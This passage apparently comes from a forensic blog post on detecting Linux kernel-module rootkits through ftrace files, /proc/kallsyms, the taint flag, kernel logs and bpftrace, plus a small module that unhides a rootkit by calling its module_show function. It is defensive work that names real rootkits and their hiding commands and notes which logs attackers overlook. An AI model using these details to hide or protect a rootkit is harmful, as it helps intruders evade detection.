<p>But before that, if the path <code class="language-plaintext highlighter-rouge">/sys/kernel/tracing</code> or <code class="language-plaintext highlighter-rouge">/sys/kernel/debug/tracing</code> does not exist, simply mount it: <code class="language-plaintext highlighter-rouge">mount -t tracefs nodev /sys/kernel/tracing</code></p>

<p>The first file to check is <code class="language-plaintext highlighter-rouge">/sys/kernel/tracing/available_filter_functions</code>, which lists kernel functions that can be filtered for tracing.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dumbledore@infect:~$ sudo insmod basilisk.ko
dumbledore@infect:~$ lsmod|grep basilisk
dumbledore@infect:~$
dumbledore@infect:~$ sudo cat /sys/kernel/tracing/available_filter_functions|grep basilisk
is_bad_path [basilisk]
crc32 [basilisk]
resolve_filename [basilisk]
read_hook [basilisk]
hook_openat [basilisk]
show_refcnt [basilisk]
init_this_kobj [basilisk]
fh_kprobe_lookup_name [basilisk]
fh_install_hook [basilisk]
fh_remove_hook [basilisk]
fh_install_hooks [basilisk]
fh_remove_hooks [basilisk]
sig_handle [basilisk]
hook_seq_read [basilisk]
set_root [basilisk]
h_lkm_protect [basilisk]
h_lkm_hide [basilisk]
dumbledore@infect:~$
</code></pre></div></div>

<p>Another file that is very interesting is <code class="language-plaintext highlighter-rouge">/sys/kernel/tracing/available_filter_functions_addrs</code> (only in kernel 6.5+). This file basically lists filterable functions with addresses.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dumbledore@infect:~$ sudo cat /sys/kernel/tracing/available_filter_functions_addrs|grep basilisk
ffffffffc0de5014 is_bad_path [basilisk]
ffffffffc0de5094 crc32 [basilisk]
ffffffffc0de5100 resolve_filename [basilisk]
ffffffffc0de5224 read_hook [basilisk]
ffffffffc0de5294 hook_openat [basilisk]
ffffffffc0de5474 show_refcnt [basilisk]
ffffffffc0de54b4 init_this_kobj [basilisk]
ffffffffc0de55a4 fh_kprobe_lookup_name [basilisk]
ffffffffc0de5644 fh_install_hook [basilisk]
ffffffffc0de5744 fh_remove_hook [basilisk]
ffffffffc0de57d4 fh_install_hooks [basilisk]
ffffffffc0de5874 fh_remove_hooks [basilisk]
ffffffffc0de58c4 sig_handle [basilisk]
ffffffffc0de5944 hook_seq_read [basilisk]
ffffffffc0de5aa4 set_root [basilisk]
ffffffffc0de5c14 h_lkm_protect [basilisk]
ffffffffc0de5c74 h_lkm_hide [basilisk]
dumbledore@infect:~$
</code></pre></div></div>

<p>We can check <code class="language-plaintext highlighter-rouge">/sys/kernel/debug/dynamic_debug/control</code>, which enables/disables real-time kernel debug messages for specific modules.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">sudo</span> <span class="n">cat</span> <span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">kernel</span><span class="o">/</span><span class="n">debug</span><span class="o">/</span><span class="n">dynamic_debug</span><span class="o">/</span><span class="n">control</span> <span class="o">|</span><span class="n">grep</span> <span class="n">basilisk</span>
<span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dumbledore</span><span class="o">/</span><span class="n">lkms</span><span class="o">/</span><span class="n">basilisk</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">ftrace_helper</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">28</span> <span class="p">[</span><span class="n">basilisk</span><span class="p">]</span><span class="n">fh_resolve_hook_address</span> <span class="o">=</span><span class="n">_</span> <span class="s">"unresolved symbol: %s</span><span class="se">\n</span><span class="s">"</span>
<span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dumbledore</span><span class="o">/</span><span class="n">lkms</span><span class="o">/</span><span class="n">basilisk</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">ftrace_helper</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">80</span> <span class="p">[</span><span class="n">basilisk</span><span class="p">]</span><span class="n">fh_install_hook</span> <span class="o">=</span><span class="n">_</span> <span class="s">"ftrace_set_filter_ip() failed: %d</span><span class="se">\n</span><span class="s">"</span>
<span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dumbledore</span><span class="o">/</span><span class="n">lkms</span><span class="o">/</span><span class="n">basilisk</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">ftrace_helper</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">86</span> <span class="p">[</span><span class="n">basilisk</span><span class="p">]</span><span class="n">fh_install_hook</span> <span class="o">=</span><span class="n">_</span> <span class="s">"register_ftrace_function() failed: %d</span><span class="se">\n</span><span class="s">"</span>
<span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dumbledore</span><span class="o">/</span><span class="n">lkms</span><span class="o">/</span><span class="n">basilisk</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">ftrace_helper</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">103</span> <span class="p">[</span><span class="n">basilisk</span><span class="p">]</span><span class="n">fh_remove_hook</span> <span class="o">=</span><span class="n">_</span> <span class="s">"unregister_ftrace_function() failed: %d</span><span class="se">\n</span><span class="s">"</span>
<span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dumbledore</span><span class="o">/</span><span class="n">lkms</span><span class="o">/</span><span class="n">basilisk</span><span class="o">/</span><span class="n">src</span><span class="o">/</span><span class="n">ftrace_helper</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">108</span> <span class="p">[</span><span class="n">basilisk</span><span class="p">]</span><span class="n">fh_remove_hook</span> <span class="o">=</span><span class="n">_</span> <span class="s">"ftrace_set_filter_ip() failed: %d</span><span class="se">\n</span><span class="s">"</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span>
</code></pre></div></div>

<p>A great place to check is <code class="language-plaintext highlighter-rouge">/sys/kernel/tracing/enabled_functions</code>, which basically lists kernel functions currently enabled for tracing.</p>

<p>A rootkit can hide from <code class="language-plaintext highlighter-rouge">available_filter_functions</code>, but it’s unlikely that an LKM rootkit using ftrace hooking will be able to hide from <code class="language-plaintext highlighter-rouge">enabled_functions</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dumbledore@infect:~$ sudo insmod kovid.ko
dumbledore@infect:~$ kill -SIGCONT 31337
kill: kill 31337 failed: no such process
dumbledore@infect:~$ echo hide-lkm &gt;/proc/hidden
dumbledore@infect:~$ lsmod|grep kovid
dumbledore@infect:~$
dumbledore@infect:~$ sudo cat /sys/kernel/tracing/enabled_functions
__x64_sys_clone (1) R I     M   tramp: 0xffffffffc0ff4000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
__x64_sys_exit_group (1) R I     M  tramp: 0xffffffffc0fe9000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
proc_dointvec (1) R I     M     tramp: 0xffffffffc1033000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
__x64_sys_kill (1) R I     M    tramp: 0xffffffffc0ff6000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
account_system_time (1) R I     M   tramp: 0xffffffffc1029000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
account_process_tick (1) R I     M  tramp: 0xffffffffc1027000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
audit_log_start (1) R I     M   tramp: 0xffffffffc102b000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
__x64_sys_bpf (1) R I     M     tramp: 0xffffffffc1019000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
bpf_lsm_file_open (1) R   D   M     tramp: ftrace_regs_caller+0x0/0x65 (call_direct_funcs+0x0/0x20)
    direct--&gt;bpf_trampoline_6442508438+0x0/0xf1
__x64_sys_read (1) R I     M    tramp: 0xffffffffc1017000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
vfs_statx (1) R I     M     tramp: 0xffffffffc1035000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
filldir64 (1) R I     M     tramp: 0xffffffffc102f000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
filldir (1) R I     M   tramp: 0xffffffffc102d000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
tty_read (1) R I     M  tramp: 0xffffffffc1031000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
tcp4_seq_show (1) R I     M     tramp: 0xffffffffc101b000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
udp4_seq_show (1) R I     M     tramp: 0xffffffffc101d000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
udp6_seq_show (1) R I     M     tramp: 0xffffffffc1021000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
tcp6_seq_show (1) R I     M     tramp: 0xffffffffc101f000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
packet_rcv (1) R I     M    tramp: 0xffffffffc1023000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
tpacket_rcv (1) R I     M   tramp: 0xffffffffc1025000 (0xffffffffc0fc3f60) -&gt;ftrace_ops_assist_func+0x0/0xf0
dumbledore@infect:~$
</code></pre></div></div>

<p>Checking <code class="language-plaintext highlighter-rouge">touched_functions</code> is also really good, because, just like <code class="language-plaintext highlighter-rouge">enabled_functions</code>, an LKM rootkit using ftrace for hooking is unlikely to hide from <code class="language-plaintext highlighter-rouge">touched_functions</code>, which basically shows all functions that were ever traced by ftrace or a direct trampoline (only for kernel 6.4+).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">sudo</span> <span class="n">cat</span> <span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">kernel</span><span class="o">/</span><span class="n">tracing</span><span class="o">/</span><span class="n">touched_functions</span>
<span class="n">__x64_sys_clone</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>   <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc0ff4000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">__x64_sys_exit_group</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>  <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc0fe9000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">proc_dointvec</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>     <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc1033000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">__x64_sys_kill</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>    <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc0ff6000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">account_system_time</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>   <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc1029000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">account_process_tick</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>  <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc1027000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">kallsyms_lookup_name</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span>            <span class="o">-&gt;</span><span class="n">arch_ftrace_ops_list_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0x1e0</span>
<span class="n">audit_log_start</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>   <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc102b000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">__x64_sys_bpf</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>     <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc1019000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">bpf_lsm_file_open</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span>   <span class="n">D</span>   <span class="n">M</span>     <span class="n">tramp</span><span class="o">:</span> <span class="n">ftrace_regs_caller</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0x65</span> <span class="p">(</span><span class="n">call_direct_funcs</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0x20</span><span class="p">)</span>
    <span class="n">direct</span><span class="o">--&gt;</span><span class="n">bpf_trampoline_6442508438</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf1</span>
<span class="n">__x64_sys_read</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>    <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc1017000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">vfs_statx</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>     <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc1035000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">filldir64</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>     <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc102f000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">filldir</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>   <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc102d000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">tty_read</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>  <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc1031000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">tcp4_seq_show</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>     <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc101b000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">udp4_seq_show</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>     <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc101d000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">udp6_seq_show</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>     <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc1021000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">tcp6_seq_show</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>     <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc101f000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">packet_rcv</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>    <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc1023000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">tpacket_rcv</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">R</span> <span class="n">I</span>     <span class="n">M</span>   <span class="n">tramp</span><span class="o">:</span> <span class="mh">0xffffffffc1025000</span> <span class="p">(</span><span class="mh">0xffffffffc0fc3f60</span><span class="p">)</span> <span class="o">-&gt;</span><span class="n">ftrace_ops_assist_func</span><span class="o">+</span><span class="mh">0x0</span><span class="o">/</span><span class="mh">0xf0</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span>
</code></pre></div></div>

<h3 id="procfs">procfs</h3>

<p>Even though it is easy for most rootkits to hide from procfs, it is still quite useful.</p>

<p>Checking <code class="language-plaintext highlighter-rouge">/proc/kallsyms</code> is one of them. Of course, for a rootkit to hide from it, it’s really easy, but it still leaves traces there. Below is an example using ‘diamorphine’ for this.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dumbledore@infect:~$ sudo insmod diamorphine.ko
dumbledore@infect:~$ lsmod|grep diamorphine
dumbledore@infect:~$
dumbledore@infect:~$ sudo cat /proc/kallsyms|grep diamorphine
ffffffffc1152010 T diamorphine_init [diamorphine]
dumbledore@infect:~$
</code></pre></div></div>

<p>Checking <code class="language-plaintext highlighter-rouge">/proc/sys/kernel/tainted</code> is also very valid, since most LKM rootkits can never hide from tainted, which indicates the “contamination” state of the kernel, signaling modifications or errors. In other words, when a rootkit without a signature is loaded, it “contaminates” the kernel’s state. I’ll use diamorphine itself to demonstrate this.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dumbledore@infect:~$ sudo insmod diamorphine.ko
dumbledore@infect:~$ lsmod|grep diamorphine
dumbledore@infect:~$
dumbledore@infect:~$ sudo cat /proc/kallsyms|grep diamorphine
ffffffffc1152010 T diamorphine_init [diamorphine]
dumbledore@infect:~$
dumbledore@infect:~$ sudo cat /proc/sys/kernel/tainted
12288
dumbledore@infect:~$
</code></pre></div></div>

<p>Notice that there is a number there, which is 12288, indicating that the current state of the kernel has been contaminated, signaling the presence of modules without a signature. For a forensic analyst or someone who will examine the compromised machine, this is a strong indication that there is a rootkit on the machine.</p>

<h3 id="logs">Logs</h3>
<p>Certainly, when an attacker is using an LKM rootkit, they will erase the logs. However, even if they delete some logs, there are still logs that most rootkit users probably don’t know exist.</p>

<p>The device <code class="language-plaintext highlighter-rouge">/dev/kmsg</code> is one of them, for example, which is a device for sending and reading real-time kernel messages. Even if you delete the dmesg logs using <code class="language-plaintext highlighter-rouge">dmesg -C</code>, or delete the logs in <code class="language-plaintext highlighter-rouge">/var/log/kern.log</code>, the taint message (<code class="language-plaintext highlighter-rouge">module verification failed: signature and/or required key missing - tainting kernel</code>), which indicates that the kernel has been “contaminated” for some reasons—one being that the LKM is not part of the official set of kernel modules, and another being that the kernel was unable to verify the module’s signature—will still appear in <code class="language-plaintext highlighter-rouge">/dev/kmsg</code>.</p>

<p>There’s also <code class="language-plaintext highlighter-rouge">journalctl -k</code>, which few people check when it comes to logs. It basically shows the kernel logs captured by systemd-journald. It’s no use deleting the logs from <code class="language-plaintext highlighter-rouge">dmesg</code> and <code class="language-plaintext highlighter-rouge">/var/log/kern.log</code> if the logs still show up in <code class="language-plaintext highlighter-rouge">journalctl -k</code>.</p>

<h3 id="rootkit">Rootkit</h3>
<p>Without a doubt, using eBPF for LKM rootkit detection is very good and effective, especially against modern rootkits.</p>

<p>An example of this is creating tracepoints, for instance: <code class="language-plaintext highlighter-rouge">sudo bpftrace -e ‘tracepoint:syscalls:sys_enter_mkdir { printf(“PID: %d, Directory Created: %s\n”, pid, str(args-&gt;pathname)); }</code></p>

<p>This will detect and print the name of the directory created when a directory is created.</p>

<p>Another example is when someone tries to load an LKM. This can also be monitored using <code class="language-plaintext highlighter-rouge">bpftrace</code>: <code class="language-plaintext highlighter-rouge">sudo bpftrace -e ‘tracepoint:module:module_load { printf(“Module loaded: %s\n”, str(args-&gt;name)); }</code></p>

<p>Now, when someone tries to load an LKM, it will print the module name.</p>

<p>Another example is monitoring <code class="language-plaintext highlighter-rouge">sys_enter_chdir</code>: <code class="language-plaintext highlighter-rouge">sudo bpftrace -e ‘tracepoint:syscalls:sys_enter_chdir { printf(“PID: %d, Changing to directory: %s\n”, pid, str(args-&gt;filename)); }</code></p>

<p>This will print the directory change when someone tries to change directories.</p>

<p>To check the list of kernel tests or tests in a program, simply check at: <code class="language-plaintext highlighter-rouge">sudo bpftrace -l</code></p>

<p>I believe that using eBPF for detection is one of the best ways to detect LKM rootkits, because even with LKM hunters using detection techniques, it is still possible to avoid them.</p>

<h2 id="make-an-lkm-rootkit-visible">Make an LKM rootkit visible</h2>

<p>It is entirely possible to make an LKM rootkit. If a rootkit uses functions to make the module visible again, you can take advantage of that to make it visible.</p>

<p>Here we have a very simple C code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;linux/init.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/list.h&gt;
#include &lt;linux/slab.h&gt;

struct module_entry {
    struct list_head list;
    char *name;
    void *address;
};

static LIST_HEAD(module_list);

static void add_entry(char *name, void *address) {
    struct module_entry *mod;
    mod = kmalloc(sizeof(struct module_entry), GFP_KERNEL);
    if (!mod) {
        printk(KERN_ERR "Deu ruimkjkj.\n");
        return;
    }
    mod-&gt;name = name;
    mod-&gt;address = address;
    list_add_tail(&amp;mod-&gt;list, &amp;module_list);
}

static void magick_lol(void) {
    struct module_entry *entry;
    list_for_each_entry(entry, &amp;module_list, list) {
        if (strcmp(entry-&gt;name, "module_show") == 0) {

            ((void (*)(void))entry-&gt;address)();
            break;
        }
    }
}

static int __init lkm_init(void) {
    add_entry("module_show", (void *)0xffffffffc09fbfa0); //endereço da função module_show
    magick_lol();

    return 0;
}

static void __exit lkm_exit(void) {
	printk(KERN_INFO "Qlq coisa kkjkjkjk\n");
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("matheuz");
MODULE_DESCRIPTION("Sem descrição kkjkjk");
MODULE_VERSION("1.0");

module_init(lkm_init);
module_exit(lkm_exit);
</code></pre></div></div>

<p>In short, this simple code creates a linked list of structures called <code class="language-plaintext highlighter-rouge">module_entry</code> that has the name and address of the brokepkg function.</p>

<p>It adds an entry to the function that makes brokepkg visible again, called <code class="language-plaintext highlighter-rouge">module_show</code> with its address, then it calls the function called <code class="language-plaintext highlighter-rouge">magick_lol()</code> that searches for this entry in the list and if found, calls the function associated with she.</p>

<p>After the LKM is inserted, you can look in lsmod that brokepkg has become visible again, in which you can use rmmod to remove the LKM.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~/</span><span class="n">leviathan</span><span class="err">#</span> <span class="n">lsmod</span><span class="o">|</span><span class="n">grep</span> <span class="n">brokepkg</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~/</span><span class="n">leviathan</span><span class="err">#</span> <span class="n">cat</span> <span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">kernel</span><span class="o">/</span><span class="n">tracing</span><span class="o">/</span><span class="n">available_filter_functions_addrs</span> <span class="o">|</span><span class="n">grep</span> <span class="n">module_show</span>
<span class="n">ffffffffc0abafa0</span> <span class="n">module_show</span> <span class="p">[</span><span class="n">brokepkg</span><span class="p">]</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~/</span><span class="n">leviathan</span><span class="err">#</span> <span class="n">cat</span> <span class="o">/</span><span class="n">sys</span><span class="o">/</span><span class="n">kernel</span><span class="o">/</span><span class="n">tracing</span><span class="o">/</span><span class="n">available_filter_functions</span> <span class="o">|</span><span class="n">grep</span> <span class="n">module_show</span>
<span class="n">module_show</span> <span class="p">[</span><span class="n">brokepkg</span><span class="p">]</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~/</span><span class="n">leviathan</span><span class="err">#</span> <span class="n">insmod</span> <span class="n">leviathan</span><span class="p">.</span><span class="n">ko</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~/</span><span class="n">leviathan</span><span class="err">#</span> <span class="n">lsmod</span><span class="o">|</span><span class="n">grep</span> <span class="n">brokepkg</span>
<span class="n">brokepkg</span>              <span class="mi">159744</span>  <span class="mi">0</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~/</span><span class="n">leviathan</span><span class="err">#</span>
</code></pre></div></div>

<p>Well, this is one of the ways to make an LKM rootkit visible again, of course this is not 100% effective, and there are some ways to avoid this kind of thing and protect the rootkit, they are:</p>

<p>1 - Do not implement a method to make the rootkit visible.</p>

<p>This documentation will also help a lot if you want to learn more about tracing.</p>
<ul>
  <li><a href="https://www.kernel.org/doc/html/v6.5/trace/index.html">https://www.kernel.org/doc/html/v6.5/trace/index.html</a></li>
</ul>

<h2 id="making">Making</h2>
<p>Most LKM rootkits that run on newer kernel versions use ftrace.</p>

<p>What most people don’t know (I think) is that there is a way to disable ftrace on the machine, making any LKM rootkit that uses ftrace completely unusable, even when loaded and invisible.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@infect:~/1337# mkdir br0k3_n0w_h1dd3n
root@infect:~/1337# ls
root@infect:~/1337# echo 0 &gt; /proc/sys/kernel/ftrace_enabled
root@infect:~/1337# ls
br0k3_n0w_h1dd3n
root@infect:~/1337#
root@infect:~/1337#
root@infect:~/1337# echo 1 &gt; /proc/sys/kernel/ftrace_enabled
root@infect:~/1337# ls
root@infect:~/1337#
root@infect:~/1337# ls
root@infect:~/1337# sysctl kernel.ftrace_enabled=0
kernel.ftrace_enabled = 0
root@infect:~/1337# ls
br0k3_n0w_h1dd3n
root@infect:~/1337# sysctl kernel.ftrace_enabled=1
